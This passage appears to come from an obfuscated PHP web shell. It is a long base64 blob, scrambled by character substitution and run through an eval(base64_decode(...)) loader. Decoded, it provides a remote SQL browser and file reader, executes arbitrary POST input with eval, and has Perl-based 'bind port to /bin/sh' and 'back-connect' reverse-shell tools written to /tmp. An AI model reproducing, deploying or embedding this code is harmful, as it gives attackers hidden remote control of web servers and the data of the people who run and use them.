NCjx0ZD48NG5wM3QgdHlwNT10NXh0IG4xbTU9c3FsX2gyc3QgdjFsMzU9JyIuICg1bXB0eSgkX1BPU1RbJ3NxbF9oMnN0J10pPydsMmMxbGgyc3QnOmh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydzcWxfaDJzdCddKSkgLiInPjwvdGQ+IA0KPHRkPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1zcWxfbDJnNG4gdjFsMzU9JyIuICg1bXB0eSgkX1BPU1RbJ3NxbF9sMmc0biddKT8ncjIydCc6aHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3NxbF9sMmc0biddKSkgLiInPjwvdGQ+IA0KPHRkPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1zcWxfcDFzcyB2MWwzNT0nIi4gKDVtcHR5KCRfUE9TVFsnc3FsX3Axc3MnXSk/Jyc6aHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3NxbF9wMXNzJ10pKSAuIic+PC90ZD48dGQ+IjsgDQogICAgJHRtcCA9ICI8NG5wM3QgdHlwNT10NXh0IG4xbTU9c3FsX2IxczUgdjFsMzU9Jyc+IjsgDQogICAgNGYoNHNzNXQoJF9QT1NUWydzcWxfaDJzdCddKSl7IA0KICAgICAgICA0ZigkZGItPmMybm41Y3QoJF9QT1NUWydzcWxfaDJzdCddLCAkX1BPU1RbJ3NxbF9sMmc0biddLCAkX1BPU1RbJ3NxbF9wMXNzJ10sICRfUE9TVFsnc3FsX2IxczUnXSkpIHsgDQogICAgICAgICAgICBzdzR0Y2goJF9QT1NUWydjaDFyczV0J10pIHsgDQogICAgICAgICAgICAgICAgYzFzNSAiVzRuZDJ3cy02YWk2IjogJGRiLT5zNXRDaDFyczV0KCdjcDZhaTYnKTsgYnI1MWs7IA0KICAgICAgICAgICAgICAgIGMxczUgIlVURi04IjogJGRiLT5zNXRDaDFyczV0KCczdGY4Jyk7IGJyNTFrOyANCiAgICAgICAgICAgICAgICBjMXM1ICJLT0k4LVIiOiAkZGItPnM1dENoMXJzNXQoJ2syNDhyJyk7IGJyNTFrOyANCiAgICAgICAgICAgICAgICBjMXM1ICJLT0k4LVUiOiAkZGItPnM1dENoMXJzNXQoJ2syNDgzJyk7IGJyNTFrOyANCiAgICAgICAgICAgICAgICBjMXM1ICJjcDhlZSI6ICRkYi0+czV0Q2gxcnM1dCgnY3A4ZWUnKTsgYnI1MWs7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgICRkYi0+bDRzdERicygpOyANCiAgICAgICAgICAgIDVjaDIgIjxzNWw1Y3QgbjFtNT1zcWxfYjFzNT48MnB0NDJuIHYxbDM1PScnPjwvMnB0NDJuPiI7IA0KICAgICAgICAgICAgd2g0bDUoJDR0NW0gPSAkZGItPmY1dGNoKCkpIHsgDQogICAgICAgICAgICAgICAgbDRzdCgkazV5LCAkdjFsMzUpID0gNTFjaCgkNHQ1bSk7IA0KICAgICAgICAgICAgICAgIDVjaDIgJzwycHQ0Mm4gdjFsMzU9IicuJHYxbDM1LiciICcuKCR2MWwzNT09JF9QT1NUWydzcWxfYjFzNSddPydzNWw1Y3Q1ZCc6JycpLic+Jy4kdjFsMzUuJzwvMnB0NDJuPic7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgIDVjaDIgJzwvczVsNWN0Pic7IA0KICAgICAgICB9IA0KICAgICAgICA1bHM1IDVjaDIgJHRtcDsgDQogICAgfTVsczUNCiAgICAgICAgNWNoMiAkdG1wOyANCiAgICA1Y2gyICI8L3RkPiANCiAgDQogICAgICAgICAgICAgICAgPHRkPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nIDJuY2w0Y2s9J2ZzKGQuc2YpOyc+PC90ZD4gDQogICAgICAgICAgICAgICAgPHRkPjw0bnAzdCB0eXA1PWNoNWNrYjJ4IG4xbTU9c3FsX2MyM250IHYxbDM1PScybiciIC4gKDVtcHR5KCRfUE9TVFsnc3FsX2MyM250J10pPycnOicgY2g1Y2s1ZCcpIC4gIj4gYzIzbnQgdGg1IG4zbWI1ciAyZiByMndzPC90ZD4gDQogICAgICAgICAgICA8L3RyPiANCiAgICAgICAgPC90MWJsNT4gDQogICAgICAgIDxzY3I0cHQ+IA0KICAgICAgICAgICAgc19kYj0nIi5AMWRkc2wxc2g1cygkX1BPU1RbJ3NxbF9iMXM1J10pLiInOyANCiAgICAgICAgICAgIGYzbmN0NDJuIGZzKGYpIHsgDQogICAgICAgICAgICAgICAgNGYoZi5zcWxfYjFzNS52MWwzNSE9c19kYikgeyBmLjJuczNibTR0ID0gZjNuY3Q0Mm4oKSB7fTsgDQogICAgICAgICAgICAgICAgICAgIDRmKGYucDYpIGYucDYudjFsMzU9Jyc7IA0KICAgICAgICAgICAgICAgICAgICA0ZihmLnBhKSBmLnBhLnYxbDM1PScnOyANCiAgICAgICAgICAgICAgICAgICAgNGYoZi5wbykgZi5wby52MWwzNT0nJzsgDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICBmM25jdDQybiBzdCh0LGwpIHsgDQogICAgICAgICAgICAgICAgZC5zZi5wNi52MWwzNSA9ICdzNWw1Y3QnOyANCiAgICAgICAgICAgICAgICBkLnNmLnBhLnYxbDM1ID0gdDsgDQogICAgICAgICAgICAgICAgNGYobCAmJiBkLnNmLnBvKSBkLnNmLnBvLnYxbDM1ID0gbDsgDQogICAgICAgICAgICAgICAgZC5zZi5zM2JtNHQoKTsgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgZjNuY3Q0Mm4gNHMoKSB7IA0KICAgICAgICAgICAgICAgIGYycig0PTA7NDxkLnNmLjVsNW01bnRzWyd0YmxbXSddLmw1bmd0aDsrKzQpIA0KICAgICAgICAgICAgICAgICAgICBkLnNmLjVsNW01bnRzWyd0YmxbXSddWzRdLmNoNWNrNWQgPSAhZC5zZi41bDVtNW50c1sndGJsW10nXVs0XS5jaDVjazVkOyANCiAgICAgICAgICAgIH0gDQogICAgICAgIDwvc2NyNHB0PiI7IA0KICAgIDRmKDRzczV0KCRkYikgJiYgJGRiLT5sNG5rKXsgDQogICAgICAgIDVjaDIgIjxici8+PHQxYmw1IHc0ZHRoPTYwMCUgYzVsbHAxZGQ0bmc9YSBjNWxsc3AxYzRuZz0wPiI7IA0KICAgICAgICAgICAgNGYoITVtcHR5KCRfUE9TVFsnc3FsX2IxczUnXSkpeyANCiAgICAgICAgICAgICAgICAkZGItPnM1bDVjdGRiKCRfUE9TVFsnc3FsX2IxczUnXSk7IA0KICAgICAgICAgICAgICAgIDVjaDIgIjx0cj48dGQgdzRkdGg9NiBzdHlsNT0nYjJyZDVyLXQycDphcHggczJsNGQgI2VlZTsnPjxzcDFuPlQxYmw1czo8L3NwMW4+PGJyPjxicj4iOyANCiAgICAgICAgICAgICAgICAkdGJsc19yNXMgPSAkZGItPmw0c3RUMWJsNXMoKTsgDQogICAgICAgICAgICAgICAgd2g0bDUoJDR0NW0gPSAkZGItPmY1dGNoKCR0YmxzX3I1cykpIHsgDQogICAgICAgICAgICAgICAgICAgIGw0c3QoJGs1eSwgJHYxbDM1KSA9IDUxY2goJDR0NW0pOyANCiAgICAgICAgICAgICAgICAgICAgNGYoITVtcHR5KCRfUE9TVFsnc3FsX2MyM250J10pKSANCiAgICAgICAgICAgICAgICAgICAgICAgICRuID0gJGRiLT5mNXRjaCgkZGItPnEzNXJ5KCdTRUxFQ1QgQ09VTlQoKikgMXMgbiBGUk9NICcuJHYxbDM1LicnKSk7IA0KICAgICAgICAgICAgICAgICAgICAkdjFsMzUgPSBodG1sc3A1YzQxbGNoMXJzKCR2MWwzNSk7IA0KICAgICAgICAgICAgICAgICAgICA1Y2gyICI8bjJicj48NG5wM3QgdHlwNT0nY2g1Y2tiMngnIG4xbTU9J3RibFtdJyB2MWwzNT0nIi4kdjFsMzUuIic+Jm5ic3A7PDEgaHI1Zj0jIDJuY2w0Y2s9XCJzdCgnIi4kdjFsMzUuIicsNilcIj4iLiR2MWwzNS4iPC8xPiIgLiAoNW1wdHkoJF9QT1NUWydzcWxfYzIzbnQnXSk/JyZuYnNwOyc6IiA8c20xbGw+KHskblsnbiddfSk8L3NtMWxsPiIpIC4gIjwvbjJicj48YnI+IjsgDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICA1Y2gyICI8NG5wM3QgdHlwNT0nY2g1Y2tiMngnIDJuY2w0Y2s9JzRzKCk7Jz4gPDRucDN0IHR5cDU9YjN0dDJuIHYxbDM1PSdEM21wJyAybmNsNGNrPSdkMmMzbTVudC5zZi5wYS52MWwzNT1cImQyd25sMjFkXCI7ZDJjM201bnQuc2YuczNibTR0KCk7Jz48YnI+RjRsNSBwMXRoOjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1mNGw1IHYxbDM1PSdkM21wLnNxbCc+PC90ZD48dGQgc3R5bDU9J2IycmQ1ci10MnA6YXB4IHMybDRkICNlZWU7Jz4iOyANCiAgICAgICAgICAgICAgICA0ZihAJF9QT1NUWydwNiddID09ICdzNWw1Y3QnKSB7IA0KICAgICAgICAgICAgICAgICAgICAkX1BPU1RbJ3A2J10gPSAncTM1cnknOyANCiAgICAgICAgICAgICAgICAgICAgJF9QT1NUWydwbyddID0gJF9QT1NUWydwbyddPyRfUE9TVFsncG8nXTo2OyANCiAgICAgICAgICAgICAgICAgICAgJGRiLT5xMzVyeSgnU0VMRUNUIENPVU5UKCopIDFzIG4gRlJPTSAnIC4gJF9QT1NUWydwYSddKTsgDQogICAgICAgICAgICAgICAgICAgICRuM20gPSAkZGItPmY1dGNoKCk7IA0KICAgICAgICAgICAgICAgICAgICAkcDFnNXMgPSBjNTRsKCRuM21bJ24nXSAvIG8wKTsgDQogICAgICAgICAgICAgICAgICAgIDVjaDIgIjxzY3I0cHQ+ZC5zZi4ybnMzYm00dD1mM25jdDQybigpe3N0KFwiIiAuICRfUE9TVFsncGEnXSAuICJcIiwgZC5zZi5wby52MWwzNSl9PC9zY3I0cHQ+PHNwMW4+Ii4kX1BPU1RbJ3BhJ10uIjwvc3Axbj4gKHskbjNtWyduJ119IHI1YzJyZHMpIFAxZzUgIyA8NG5wM3QgdHlwNT10NXh0IG4xbTU9J3BvJyB2MWwzNT0iIC4gKCg0bnQpJF9QT1NUWydwbyddKSAuICI+IjsgDQogICAgICAgICAgICAgICAgICAgIDVjaDIgIiAyZiAkcDFnNXMiOyANCiAgICAgICAgICAgICAgICAgICAgNGYoJF9QT1NUWydwbyddID4gNikgDQogICAgICAgICAgICAgICAgICAgICAgICA1Y2gyICIgPDEgaHI1Zj0jIDJuY2w0Y2s9J3N0KFwiIiAuICRfUE9TVFsncGEnXSAuICciLCAnIC4gKCRfUE9TVFsncG8nXS02KSAuICIpJz4mbHQ7IFByNXY8LzE+IjsgDQogICAgICAgICAgICAgICAgICAgIDRmKCRfUE9TVFsncG8nXSA8ICRwMWc1cykgDQogICAgICAgICAgICAgICAgICAgICAgICA1Y2gyICIgPDEgaHI1Zj0jIDJuY2w0Y2s9J3N0KFwiIiAuICRfUE9TVFsncGEnXSAuICciLCAnIC4gKCRfUE9TVFsncG8nXSs2KSAuICIpJz5ONXh0ICZndDs8LzE+IjsgDQogICAgICAgICAgICAgICAgICAgICRfUE9TVFsncG8nXS0tOyANCiAgICAgICAgICAgICAgICAgICAgNGYoJF9QT1NUWyd0eXA1J109PSdwZ3NxbCcpIA0KICAgICAgICAgICAgICAgICAgICAgICAgJF9QT1NUWydwYSddID0gJ1NFTEVDVCAqIEZST00gJy4kX1BPU1RbJ3BhJ10uJyBMSU1JVCBvMCBPRkZTRVQgJy4oJF9QT1NUWydwbyddKm8wKTsgDQogICAgICAgICAgICAgICAgICAgIDVsczUNCiAgICAgICAgICAgICAgICAgICAgICAgICRfUE9TVFsncGEnXSA9ICdTRUxFQ1QgKiBGUk9NIGAnLiRfUE9TVFsncGEnXS4nYCBMSU1JVCAnLigkX1BPU1RbJ3BvJ10qbzApLicsbzAnOyANCiAgICAgICAgICAgICAgICAgICAgNWNoMiAiPGJyPjxicj4iOyANCiAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgIDRmKChAJF9QT1NUWydwNiddID09ICdxMzVyeScpICYmICE1bXB0eSgkX1BPU1RbJ3BhJ10pKSB7IA0KICAgICAgICAgICAgICAgICAgICAkZGItPnEzNXJ5KEAkX1BPU1RbJ3BhJ10pOyANCiAgICAgICAgICAgICAgICAgICAgNGYoJGRiLT5yNXMgIT09IGYxbHM1KSB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgJHQ0dGw1ID0gZjFsczU7IA0KICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAnPHQxYmw1IHc0ZHRoPTYwMCUgYzVsbHNwMWM0bmc9NiBjNWxscDFkZDRuZz1hIGNsMXNzPW0xNG4gc3R5bDU9ImIxY2tncjIzbmQtYzJsMnI6I2E5YTlhOSI+JzsgDQogICAgICAgICAgICAgICAgICAgICAgICAkbDRuNSA9IDY7IA0KICAgICAgICAgICAgICAgICAgICAgICAgd2g0bDUoJDR0NW0gPSAkZGItPmY1dGNoKCkpICB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmKCEkdDR0bDUpIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgJzx0cj4nOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZjJyNTFjaCgkNHQ1bSAxcyAkazV5ID0+ICR2MWwzNSkgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA1Y2gyICc8dGg+Jy4kazV5Lic8L3RoPic7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByNXM1dCgkNHQ1bSk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdDR0bDU9dHIzNTsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgJzwvdHI+PHRyPic7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbDRuNSA9IGE7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAnPHRyIGNsMXNzPSJsJy4kbDRuNS4nIj4nOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbDRuNSA9ICRsNG41PT02P2E6NjsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZjJyNTFjaCgkNHQ1bSAxcyAkazV5ID0+ICR2MWwzNSkgeyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNGYoJHYxbDM1ID09IG4zbGwpIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAnPHRkPjw0Pm4zbGw8LzQ+PC90ZD4nOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNWxzNQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAnPHRkPicubmxhYnIoaHRtbHNwNWM0MWxjaDFycygkdjFsMzUpKS4nPC90ZD4nOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgJzwvdHI+JzsgDQogICAgICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAnPC90MWJsNT4nOyANCiAgICAgICAgICAgICAgICAgICAgfSA1bHM1IHsgDQogICAgICAgICAgICAgICAgICAgICAgICA1Y2gyICc8ZDR2PjxiPkVycjJyOjwvYj4gJy5odG1sc3A1YzQxbGNoMXJzKCRkYi0+NXJyMnIoKSkuJzwvZDR2Pic7IA0KICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgNWNoMiAiPGJyPjwvZjJybT48ZjJybSAybnMzYm00dD0nZC5zZi5wNi52MWwzNT1cInEzNXJ5XCI7ZC5zZi5wYS52MWwzNT10aDRzLnEzNXJ5LnYxbDM1O2QyYzNtNW50LnNmLnMzYm00dCgpO3I1dDNybiBmMWxzNTsnPjx0NXh0MXI1MSBuMW01PSdxMzVyeScgc3R5bDU9J3c0ZHRoOjYwMCU7aDU0Z2h0OjYwMHB4Jz4iOyANCiAgICAgICAgICAgICAgICA0ZighNW1wdHkoJF9QT1NUWydwYSddKSAmJiAoJF9QT1NUWydwNiddICE9ICdsMjFkZjRsNScpKSANCiAgICAgICAgICAgICAgICAgICAgNWNoMiBodG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsncGEnXSk7IA0KICAgICAgICAgICAgICAgIDVjaDIgIjwvdDV4dDFyNTE+PGJyLz48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9J0V4NWMzdDUnPiI7IA0KICAgICAgICAgICAgICAgIDVjaDIgIjwvdGQ+PC90cj4iOyANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICA1Y2gyICI8L3QxYmw1PjwvZjJybT48YnIvPiI7IA0KICAgICAgICAgICAgNGYoJF9QT1NUWyd0eXA1J109PSdteXNxbCcpIHsgDQogICAgICAgICAgICAgICAgJGRiLT5xMzVyeSgiU0VMRUNUIDYgRlJPTSBteXNxbC4zczVyIFdIRVJFIGMybmMxdChgM3M1cmAsICdAJywgYGgyc3RgKSA9IFVTRVIoKSBBTkQgYEY0bDVfcHI0dmAgPSAneSciKTsgDQogICAgICAgICAgICAgICAgNGYoJGRiLT5mNXRjaCgpKSANCiAgICAgICAgICAgICAgICAgICAgNWNoMiAiPGYycm0gMm5zM2JtNHQ9J2Quc2YucDYudjFsMzU9XCJsMjFkZjRsNVwiO2QyYzNtNW50LnNmLnBhLnYxbDM1PXRoNHMuZi52MWwzNTtkMmMzbTVudC5zZi5zM2JtNHQoKTtyNXQzcm4gZjFsczU7Jz48c3Axbj5MMjFkIGY0bDU8L3NwMW4+IDw0bnAzdCAgY2wxc3M9J3QyMmxzSW5wJyB0eXA1PXQ1eHQgbjFtNT1mPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPjwvZjJybT4iOyANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICA0ZihAJF9QT1NUWydwNiddID09ICdsMjFkZjRsNScpIHsgDQogICAgICAgICAgICAgICAgJGY0bDUgPSAkZGItPmwyMWRGNGw1KCRfUE9TVFsncGEnXSk7IA0KICAgICAgICAgICAgICAgIDVjaDIgJzxwcjUgY2wxc3M9bWw2PicuaHRtbHNwNWM0MWxjaDFycygkZjRsNVsnZjRsNSddKS4nPC9wcjU+JzsgDQogICAgICAgICAgICB9IA0KICAgIH0gNWxzNSB7IA0KICAgICAgICA1Y2gyIGh0bWxzcDVjNDFsY2gxcnMoJGRiLT41cnIycigpKTsgDQogICAgfSANCiAgICA1Y2gyICc8L2Q0dj4nOyANCiAgICB3czJGMjJ0NXIoKTsgDQp9IA0KZjNuY3Q0Mm4gMWN0NDJuTjV0dzJyaygpIHsgDQogICAgd3MySDUxZDVyKCk7IA0KICAgICRiMWNrX2Mybm41Y3RfcD0iSXlFdmRYTnlMYUpwYjQ5d1pYSnNEUXA2Y2FVZ1VhOWoxYVYwT3cwS0pHbGhaR1J5UFdsM1pYUmZZWFJ2YjRna1FWSkhWbHN3WFNrZ2ZId2daR2xsS0NKRmNuSnZjajJnSkNGY2I0SXBPdzBLSkhCaFpHUnlQWE52WWF0aFpHUnlYYWwzS0NSQlVrZFdXekZkTENBazFXRmtaSElwSUh4OElHUnBaU2c0UlhKeWJvSWVJQ1FoWEd1NEtUc05DNFJ3Y205MGJ6Nm5aWFJ3Y205MGJhSmlibUZ0WlNnbmRHTndKeWs3RFFwemJhTnJaWFEyVTA5RFMwVlVMQ0JRUmw5SlRrVlVMQ0JUVDBOTFg2TlVVa1ZCVFN3Z0pIQnlib1J2S1NCOGZDQmsxV1UySWtWeWNtOXlPNEFrSVZ4M0k0azdEUXBqYmFpM1pXTjBLRk5QUTB0RlZDd2dKSEJoWkdSeUtTQjhmQ0JrMVdVMklrVnljbTl5TzRBa0lWeDNJNGs3RFFwdmNHVjNLRk5VUkVsT0xDQTRQNFpUVDBOTFJWUTRLVHNOQ205d1pXdTJVNlJFVDZWVUxDQTRQNFpUVDBOTFJWUTRLVHNOQ205d1pXdTJVNlJFUlZKU0xDQTRQNFpUVDBOTFJWUTRLVHNOQ25OaWNvUmxiU2duTGFKcGI0OXoxQ0F0MVNjcE93MEtZYXh2Y2FVMlU2UkVTVXVwT3cwS1lheHZjYVUyVTZSRVQ2VlVLVHNOQ21Oc2JvTmxLRk5VUkVWU1U0azciOyANCiAgICAkYjRuZF9wMnJ0X3A9Ikl5RXZkWE55TGFKcGI0OXdaWEpzRFEya1UwaEZURXc5STQ5NDFXdXZjYWdnTFdrNE93MEsxV1lnS0VCQlVrZFdJRHdnTVNrZzV5Qmw1R2wwS0RFcE95QjlEUXA2Y2FVZ1VhOWoxYVYwT3cwS2NhOWoxYVYwS0ZNc0psQkdYMGxPUlZRc0psTlBRMHRmVTZSU1JVRk5MR2RsZEhCeWJvUnZZbmwzWVc2bEtDZDBZb0FuS1NrZ2ZId2daR2xsSUNKRFlXaTBJR055WldGMFpTQnpiYU5yWlhSY2I0STdEUXB6WlhSemJhTnJib0IwS0ZNc1UwOU1YNk5QUTB0RlZDeFRUNjlTUlZWVFJVRkVSRklzTVNrN0RRcDQxV2lrS0ZNc2NhOWoxYUZrWkhKZjFXdTJKRUZTUjZaYk1GMHNTVWlCUkVSU1gwRk9XU2twSUh4OElHUnBaU0E0UWFGM2RDQnZjR1YzSUhCdmNuUmNiNEk3RFFwczFYTjBaV3UyVXl3ektTQjhmQ0JrMVdVZ0lrTmhiblFnYkdsemRHVjNJSEJ2Y25SY2I0STdEUXBvMUdsc1pTZ3hLU0I3RFEySllXTmpaWEIwS0VOUFRrdXNVeWs3RFEySjFXWTJJU2drY0dsa1BXWnZjbXNwS1NCN0RRMkpDV1JwWlNBNFFhRjNibTkwSUdadmNtczRJR2xtSUNnaFpHVm0xV2lsWkNBa2NHbGtLVHNOQ2drSmJvQmxiNEJUVkVSSlQ0dzRQQ1pEVDBpT0lqc05DZ2tKYm9CbGI0QlRWRVJQVlZRc0lqdW1RMDlPVDRJN0RRMkpDVzl3Wld1Z1U2UkVSVkpTTENJK0prTlBUa3U0T3cwS0NRbGw1R1ZqSUNSVFNFVk1UQ0I4ZkNCazFXVWdjSEpwYm5RZ1EwOU9UNEE0UWFGM2RDQmw1R1ZqZFhSbElDUlRTRVZNVEZ4M0lqc05DZ2tKWWF4dmNhVWdRMDlPVGpzTkNna0paWGhwZENBd093MEtDWDBOQ24wPSI7IA0KICAgIDVjaDIgIjxoNj5ONXR3MnJrIHQyMmxzPC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+IA0KICANCiAgICA8ZjJybSBuMW01PSduZnAnIDJuUzNibTR0PVwiZyhuM2xsLG4zbGwsJ2JwcCcsdGg0cy5wMnJ0LnYxbDM1KTtyNXQzcm4gZjFsczU7XCI+IA0KICAgIDxzcDFuPkI0bmQgcDJydCB0MiAvYjRuL3NoIFtwNXJsXTwvc3Axbj48YnIvPiANCiAgICBQMnJ0OiA8NG5wM3QgdHlwNT0ndDV4dCcgbjFtNT0ncDJydCcgdjFsMzU9J282b283Jz4gPDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+IA0KICAgIDwvZjJybT4gDQogICAgPGYycm0gbjFtNT0nbmZwJyAyblMzYm00dD1cImcobjNsbCxuM2xsLCdiY3AnLHRoNHMuczVydjVyLnYxbDM1LHRoNHMucDJydC52MWwzNSk7cjV0M3JuIGYxbHM1O1wiPiANCiAgICA8c3Axbj5CMWNrLWMybm41Y3QgIFtwNXJsXTwvc3Axbj48YnIvPiANCiAgICBTNXJ2NXI6IDw0bnAzdCB0eXA1PSd0NXh0JyBuMW01PSdzNXJ2NXInIHYxbDM1PSciLiAkX1NFUlZFUlsnUkVNT1RFX0FERFInXSAuIic+IFAycnQ6IDw0bnAzdCB0eXA1PSd0NXh0JyBuMW01PSdwMnJ0JyB2MWwzNT0nbzZvbzcnPiA8NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz4gDQogIA0KICAgIDwvZjJybT48YnI+IjsgDQogICAgNGYoNHNzNXQoJF9QT1NUWydwNiddKSkgeyANCiAgICAgICAgZjNuY3Q0Mm4gY2YoJGYsJHQpIHsgDQogICAgICAgICAgICAkdyA9IEBmMnA1bigkZiwidyIpIDJyIEBmM25jdDQybl81eDRzdHMoJ2Y0bDVfcDN0X2MybnQ1bnRzJyk7IA0KICAgICAgICAgICAgNGYoJHcpeyANCiAgICAgICAgICAgICAgICBAZndyNHQ1KCR3LEBiMXM1ZXVfZDVjMmQ1KCR0KSk7IA0KICAgICAgICAgICAgICAgIEBmY2wyczUoJHcpOyANCiAgICAgICAgICAgIH0gDQogICAgICAgIH0gDQogICAgICAgIDRmKCRfUE9TVFsncDYnXSA9PSAnYnBwJykgeyANCiAgICAgICAgICAgIGNmKCIvdG1wL2JwLnBsIiwkYjRuZF9wMnJ0X3ApOyANCiAgICAgICAgICAgICQyM3QgPSB3czJFeCgicDVybCAvdG1wL2JwLnBsICIuJF9QT1NUWydwYSddLiIgNj4vZDV2L24zbGwgYT4mNiAmIik7IA0KICAgICAgICAgICAgNWNoMiAiPHByNSBjbDFzcz1tbDY+JDIzdFxuIi53czJFeCgicHMgMTN4IHwgZ3I1cCBicC5wbCIpLiI8L3ByNT4iOyANCiAgICAgICAgICAgIDNubDRuaygiL3RtcC9icC5wbCIpOyANCiAgICAgICAgfSANCiAgICAgICAgNGYoJF9QT1NUWydwNiddID09ICdiY3AnKSB7IA0KICAgICAgICAgICAgY2YoIi90bXAvYmMucGwiLCRiMWNrX2Mybm41Y3RfcCk7IA0KICAgICAgICAgICAgJDIzdCA9IHdzMkV4KCJwNXJsIC90bXAvYmMucGwgIi4kX1BPU1RbJ3BhJ10uIiAiLiRfUE9TVFsncG8nXS4iIDY+L2Q1di9uM2xsIGE+JjYgJiIpOyANCiAgICAgICAgICAgIDVjaDIgIjxwcjUgY2wxc3M9bWw2PiQyM3RcbiIud3MyRXgoInBzIDEzeCB8IGdyNXAgYmMucGwiKS4iPC9wcjU+IjsgDQogICAgICAgICAgICAzbmw0bmsoIi90bXAvYmMucGwiKTsgDQogICAgICAgIH0gDQogICAgfSANCiAgICA1Y2gyICc8L2Q0dj4nOyANCiAgICB3czJGMjJ0NXIoKTsgDQp9IA0KZjNuY3Q0Mm4gMWN0NDJuUkMoKSB7IA0KICAgIDRmKCFAJF9QT1NUWydwNiddKSB7IA0KICAgICAgICAkMSA9IDFycjF5KCANCiAgICAgICAgICAgICIzbjFtNSIgPT4gcGhwXzNuMW01KCksIA0KICAgICAgICAgICAgInBocF92NXJzNDJuIiA9PiBwaHB2NXJzNDJuKCksIA0KICAgICAgICAgICAgIndzMl92NXJzNDJuIiA9PiBXU09fVkVSU0lPTiwgDQogICAgICAgICAgICAiczFmNW0yZDUiID0+IEA0bjRfZzV0KCdzMWY1X20yZDUnKSANCiAgICAgICAgKTsgDQogICAgICAgIDVjaDIgczVyNDFsNHo1KCQxKTsgDQogICAgfSA1bHM1IHsgDQogICAgICAgIDV2MWwoJF9QT1NUWydwNiddKTsgDQogICAgfSANCn0gDQo0ZiggNW1wdHkoJF9QT1NUWycxJ10pICkgDQogICAgNGYoNHNzNXQoJGQ1ZjEzbHRfMWN0NDJuKSAmJiBmM25jdDQybl81eDRzdHMoJzFjdDQybicgLiAkZDVmMTNsdF8xY3Q0Mm4pKSANCiAgICAgICAgJF9QT1NUWycxJ10gPSAkZDVmMTNsdF8xY3Q0Mm47IA0KICAgIDVsczUNCiAgICAgICAgJF9QT1NUWycxJ10gPSAnUzVjSW5mMic7IA0KNGYoICE1bXB0eSgkX1BPU1RbJzEnXSkgJiYgZjNuY3Q0Mm5fNXg0c3RzKCcxY3Q0Mm4nIC4gJF9QT1NUWycxJ10pICkgDQogICAgYzFsbF8zczVyX2YzbmMoJzFjdDQybicgLiAkX1BPU1RbJzEnXSk7IA0KZjNuY3Q0Mm4gRjV0Y2hVUkwoJDNybCkgeyANCiAgICAgICAgICRjaCA9IGMzcmxfNG40dCgpOyANCiAgICAgICAgIGMzcmxfczV0MnB0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICIkY2g1MWQ1ciIpOyANCiAgICAgICAgIGMzcmxfczV0MnB0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgNik7IA0KICAgICAgICAgYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgZjFsczUpOyANCiAgICAgICAgIGMzcmxfczV0MnB0KCRjaCwgQ1VSTE9QVF9VUkwsICQzcmwpOyANCiAgICAgICAgIGMzcmxfczV0MnB0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgNik7IA0KICAgICAgICAgYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX1RJTUVPVVQsIG8wKTsgDQogICAgICAgICAkZDF0MSA9IGMzcmxfNXg1YygkY2gpOyANCiAgICAgICAgIDRmKCEkZDF0MSkgeyANCiAgICAgICAgICAgIHI1dDNybiBmMWxzNTsgDQogICAgICAgICB9IA0KICAgICAgICAgcjV0M3JuICRkMXQxOyANCiAgICAgIH0gDQo1eDR0OyANCj8+';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18n